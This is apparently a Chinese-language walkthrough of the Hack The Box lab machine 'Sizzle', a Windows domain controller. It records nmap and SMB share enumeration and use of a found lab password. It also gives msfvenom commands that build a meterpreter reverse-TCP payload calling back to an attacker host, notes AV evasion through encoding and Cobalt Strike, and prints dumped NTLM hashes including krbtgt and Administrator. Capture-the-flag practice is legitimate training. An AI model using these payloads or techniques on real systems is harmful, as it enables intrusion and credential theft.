nmap -A -T4 10.129.4.79
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-30 02:44 EST
Stats: 0:02:39 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.83% done; ETC: 02:47 (0:00:00 remaining)
Nmap scan report for 10.129.4.79
Host is up (0.25s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2023-01-30T07:48:13+00:00; -2s from scanner time.
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2021-02-11T12:59:51
|_Not valid after: 2022-02-11T12:59:51
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_ssl-date: 2023-01-30T07:48:11+00:00; -2s from scanner time.
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after: 2020-07-02T17:58:55
| tls-alpn:
| h2
|_ http/1.1
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2023-01-30T07:48:11+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2021-02-11T12:59:51
|_Not valid after: 2022-02-11T12:59:51
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2023-01-30T07:48:12+00:00; -2s from scanner time.
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2021-02-11T12:59:51
|_Not valid after: 2022-02-11T12:59:51
3269/tcp open globalcatLDAPssl?
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2021-02-11T12:59:51
|_Not valid after: 2022-02-11T12:59:51
|_ssl-date: 2023-01-30T07:48:11+00:00; 0s from scanner time.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: Host: SIZZLE; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -2s
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-01-30T07:46:47
|_ start_date: 2023-01-30T07:43:39TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 126.89 ms 10.10.16.1
2 126.92 ms 10.129.4.79OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 221.10 seconds
通过nmap扫描发现是域控机器Domain: HTB.LOCAL开放了80、21端口,思路先查看80端口页面检查ftp是否可以匿名访问。
尝试FTP匿名登录
可以进行匿名登录但是没有内容使用smbclient
smbclient帮助信息
smbclient——帮助
用法:smbclient [OPTIONS] service <password>
-M,——message=HOST发送消息
-I,——IP -address=IP使用此IP连接
-E,——stderr向stderr写入消息
而不是stdout
-L,——list=HOST获取可用的共享列表
在主机上
-T,——tar=<c|x>IXFvgbNan命令行tar . t
-D,——directory=DIR从目录开始
-c,——command=STRING执行分隔的分号
命令
-b,——send-buffer=BYTES修改发送/发送缓冲区
-t,——timeout=SECONDS修改per-operation
超时
-p,——port= port连接的端口
-g,——grepable产生可查看的输出
-q,——quiet抑制帮助信息
-B,——browse使用DNS浏览SMB服务器帮助选择:
-?显示帮助信息
显示简短的使用信息常见的Samba选项:
-d,——debuglevel= debuglevel设置调试级别
——debug-stdout发送调试输出到标准
输出
-s,——configfile= configfile使用备用配置
文件
——option=name=value设置smb.conf选项from
命令行
-l,——log- Basename =LOGFILEBASE日志/调试文件的基名
——leak-report启用talloc泄漏报告
退出
——leak-report-full启用全滑石泄漏
退出报告连接选项:
-R,——name-resolve= name-resolve - order使用这些名称解析
服务只
-O,——socket-options=SOCKETOPTIONS要使用的socket选项
-m,——max-protocol=MAXPROTOCOL设置最大协议级别
-n,——netbiosname= netbiosname主netbios名称
——Netbios - SCOPE =SCOPE使用Netbios作用域
-W,——workgroup= workgroup设置工作组名称
——realm= realm设置域名证书选择:
-U,——user=[DOMAIN/]USERNAME[%PASSWORD]设置网络用户名
-N,——no-pass不要问密码
——密码=字符串 密码
提供的密码是NT
哈希
-A,——authentication-file=FILE从文件中获取凭据
-P,——machine-pass使用存储的机器帐户
密码
——simple-bind- DN =DN用于简单绑定
——Use - Kerberos =desired|required|off使用Kerberos认证
——use-krb5-ccache=CCACHE证书缓存位置
Kerberos
使用winbind的ccache
身份验证
——client-protection=sign|encrypt|off配置使用的保护
客户端连接弃用的遗留选项:
-k,——kerberos DEPRECATED:迁移到
——使用kerberos版本选择:
-V,——version打印版本
命令:smbclient -N -L //10.129.4.79
回显:WARNING: no network interfaces foundSharename Type Comment--------- ---- -------ADMIN$ Disk Remote AdminC$ Disk Default shareCertEnroll Disk Active Directory Certificate Services shareDepartment Shares DiskIPC$ IPC Remote IPCNETLOGON Disk Logon server shareOperations DiskSYSVOL Disk Logon server shareSMB1 disabled -- no workgroup available
检查访问命令:
smbclient -N -L \\\\10.129.4.79 | grep Disk | sed 's/^\s*\(.*\)\s*Disk.*/\1/' | while read share; do echo "======${share}======"; smbclient -N "//10.129.4.79/${share}" -c dir; echo; done
回显:WARNING: no network interfaces found======ADMIN$======WARNING: no network interfaces foundtree connect failed: NT_STATUS_ACCESS_DENIED======C$======WARNING: no network interfaces foundtree connect failed: NT_STATUS_ACCESS_DENIED======CertEnroll======WARNING: no network interfaces foundNT_STATUS_ACCESS_DENIED listing \*======Department Shares======WARNING: no network interfaces found. D 0 Tue Jul 3 11:22:32 2018.. D 0 Tue Jul 3 11:22:32 2018Accounting D 0 Mon Jul 2 15:21:43 2018Audit D 0 Mon Jul 2 15:14:28 2018Banking D 0 Tue Jul 3 11:22:39 2018CEO_protected D 0 Mon Jul 2 15:15:01 2018Devops D 0 Mon Jul 2 15:19:33 2018Finance D 0 Mon Jul 2 15:11:57 2018HR D 0 Mon Jul 2 15:16:11 2018Infosec D 0 Mon Jul 2 15:14:24 2018Infrastructure D 0 Mon Jul 2 15:13:59 2018IT D 0 Mon Jul 2 15:12:04 2018Legal D 0 Mon Jul 2 15:12:09 2018M&A D 0 Mon Jul 2 15:15:25 2018Marketing D 0 Mon Jul 2 15:14:43 2018R&D D 0 Mon Jul 2 15:11:47 2018Sales D 0 Mon Jul 2 15:14:37 2018Security D 0 Mon Jul 2 15:21:47 2018Tax D 0 Mon Jul 2 15:16:54 2018Users D 0 Tue Jul 10 17:39:32 2018ZZ_ARCHIVE D 0 Mon Jul 2 15:32:58 20187779839 blocks of size 4096. 3597277 blocks available======NETLOGON======WARNING: no network interfaces foundNT_STATUS_ACCESS_DENIED listing \*======Operations======WARNING: no network interfaces foundNT_STATUS_ACCESS_DENIED listing \*======SYSVOL======WARNING: no network interfaces foundNT_STATUS_ACCESS_DENIED listing \*发现Department Shares目录可用,放了使用方便使用CIFS协议到本地命令:mkdir temp2mount -t cifs "//10.129.4.79/Department Shares" temp2发现Users/Public目录下可以写入文件
命令:smbmap -H 10.10.10.103 -u amanda -p Ashare1972
回显:
[+] IP: 10.129.4.79:445 Name: 10.129.4.79Disk PermissionsComment---- ------------------ADMIN$ NO ACCESS Remote AdminC$ NO ACCESS Default shareCertEnroll NO ACCESS Active Directory Certificate Services shareDepartment Shares NO ACCESSIPC$ READ ONLY Remote IPCNETLOGON READ ONLY Logon server shareOperations NO ACCESSSYSVOL READ ONLY Logon server share
使用smbclient访问CertEnroll 目录
命令:smbclient -U 'amanda%Ashare1972' //10.129.4.79/CertEnroll
回显:WARNING: no network interfaces foundTry "help" to get a list of possible commands.smb: \> dir. D 0 Mon Jan 30 02:44:00 2023.. D 0 Mon Jan 30 02:44:00 2023HTB-SIZZLE-CA+.crl A 721 Mon Jan 30 02:44:00 2023HTB-SIZZLE-CA.crl A 909 Mon Jan 30 02:44:00 2023nsrev_HTB-SIZZLE-CA.asp A 322 Mon Jul 2 16:36:05 2018sizzle.HTB.LOCAL_HTB-SIZZLE-CA.crt A 871 Mon Jul 2 16:36:03 20187779839 blocks of size 4096. 3707264 blocks available发现很多证书但是没有利用点
使用MSF生成ShellCode上线
命令:msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.16.10 LPORT=6666 -f csharp
编译:C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Users\amanda\Documents\shellcode.xml
被AV杀了可以用简单的方式过AV,使用一个编码器混淆shellcode
命令:msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.16.16 LPORT=8888 -e x86/shikata_ga_nai -i 100 -f csharp
msf开启监听:
发现还是上线失败可能是因为AV问题,直接使用CS免杀上线成功
浏览文件发现system32目录下存在file.txt里边保存了凭据信息如下:
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:296ec447eee58283143efbd5d39408c8:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c718f548c75062ada93250db208d3178:::Domain User ID Hash
------ ---- -- ----
HTB.LOCAL Guest 501 -
amanda:1104:aad3b435b51404eeaad3b435b51404ee:7d0516ea4b6ed084f3fdf71c47d9beb3:::
mrb3n:1105:aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef:::
mrlky:1603:aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef:::
其实这里已经是结束了拿到域管凭据以及之前boolhound分析的MRLKY@HTB.LOCAL凭据都有了,但是在实战中
是基本不会出现这种情况的,可能因为这是HTB的靶场为了降低难度才这样做的,下面还是假设没有拿到
这些凭据进行渗透。